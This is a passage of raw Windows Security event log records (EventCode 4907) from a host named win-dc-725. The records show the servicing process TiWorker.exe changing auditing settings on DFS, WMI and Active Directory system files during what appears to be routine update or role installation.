C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: S:AI - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:42:47 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247823 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\DFSN\MSFT_DFSNamespace\DfsNamespace.cdxml - Handle ID: 0xd48 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:42:47 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247822 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\DFSN\dfsn.psd1 - Handle ID: 0xccc - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: S:AI - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:42:47 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247821 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\ADDSDeployment\ADDSDeployment.psd1 - Handle ID: 0xccc - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: S:AI - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:42:47 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247820 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\System32\wbem\en-US\replprov.mfl - Handle ID: 0x554 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: S:AI - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:42:47 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247819 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\System32\wbem\en-US\dfsrwmiv2_uninstall.mfl - Handle ID: 0xd50 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: S:AI - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:42:47 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247818 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\System32\wbem\en-US\dfsrwmiv2.mfl - Handle ID: 0xccc - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:42:47 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247817 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\System32\wbem\en-US\dfsrwmiv2.dll.mui - Handle ID: 0xd48 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:42:47 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247816 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\System32\wbem\en-US\dfsrprovs.mfl - Handle ID: 0x554 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:42:47 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247815 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\System32\wbem\en-US\dfsncimprov_Uninstall.mfl - Handle ID: 0xd50 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: S:AI - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:42:47 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247814 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\System32\wbem\en-US\dfsncimprov.mfl - Handle ID: 0xccc - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:42:47 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247813 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\System32\wbem\adstatus\en-US\trustmon.mfl - Handle ID: 0xd48 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: S:AI - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:42:47 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247812 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\System32\wbem\adstatus\en-US\trustmon.dll.mui - Handle ID: 0x554 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:42:47 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247811 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\System32\wbem\adstatus\trustmon.dll - Handle ID: 0x554 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:42:47 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247810 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\System32\wbem\ntdsa.mof - Handle ID: 0xd50 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:42:47 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247809 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\System32\wbem\kdcsvc.mof - Handle ID: 0xd48 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:42:47 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247808 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\System32\wbem\dfsrwmiv2_uninstall.mof - Handle ID: 0x554 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: S:AI - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:42:47 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247807 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\System32\wbem\dfsrwmiv2.mof - Handle ID: 0xccc - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:42:47 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247806 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\System32\wbem\dfsrwmiv2.dll - Handle ID: 0xd50 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:42:47 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247805 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\System32\wbem\dfsrprovs.mof - Handle ID: 0xd48 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:42:47 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247804 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\System32\wbem\dfsncimprov_Uninstall.mof - Handle ID: 0x554 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: S:AI - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:42:47 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247803 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\System32\wbem\dfsncimprov.mof - Handle ID: 0xccc - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:42:47 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247802 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\System32\migration\adwsmigrate.dll - Handle ID: 0xd50 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:42:47 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247801 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\System32\en-US\replprov.dll.mui - Handle ID: 0xd48 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: S:AI - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:42:47 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247800 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\System32\en-US\propshts.dll.mui - Handle ID: 0xd48 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:42:47 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247799 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\System32\en-US\ntfrsutl.exe.mui - Handle ID: 0xccc - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: S:AI - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:42:47 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247798 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\System32\en-US\ntfrsres.dll.mui - Handle ID: 0x554 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:42:47 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247797 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\System32\en-US\ntfrs.exe.mui - Handle ID: 0xd50 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: S:AI - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:42:47 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247796 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\System32\en-US\ntdsperf.dll.mui - Handle ID: 0xd48 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: S:AI - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:42:47 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247795 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\System32\en-US\ntdsmsg.dll.mui - Handle ID: 0xccc - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:42:47 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247794 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\System32\en-US\ntdsbmsg.dll.mui - Handle ID: 0x554 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:42:47 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247793 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\System32\en-US\ntdsatq.dll.mui - Handle ID: 0xd50 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:42:47 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247792 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\System32\en-US\ntdsa.dll.mui - Handle ID: 0xd48 - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:42:47 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247791 -Keywords=Audit Success -Message=Auditing settings on object were changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Object: - Object Server: Security - Object Type: File - Object Name: C:\Windows\System32\en-US\ldifde.dll.mui - Handle ID: 0xccc - -Process Information: - Process ID: 0xd00 - Process Name: C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.4222_none_7f13461e21e4fea5\TiWorker.exe - -Auditing Settings: - Original Security Descriptor: - New Security Descriptor: S:ARAI(AU;SAFA;DCLCRPCRSDWDWO;;;WD) -03/11/2021 11:42:47 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4907 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=247790 -Keywords=Audit Success 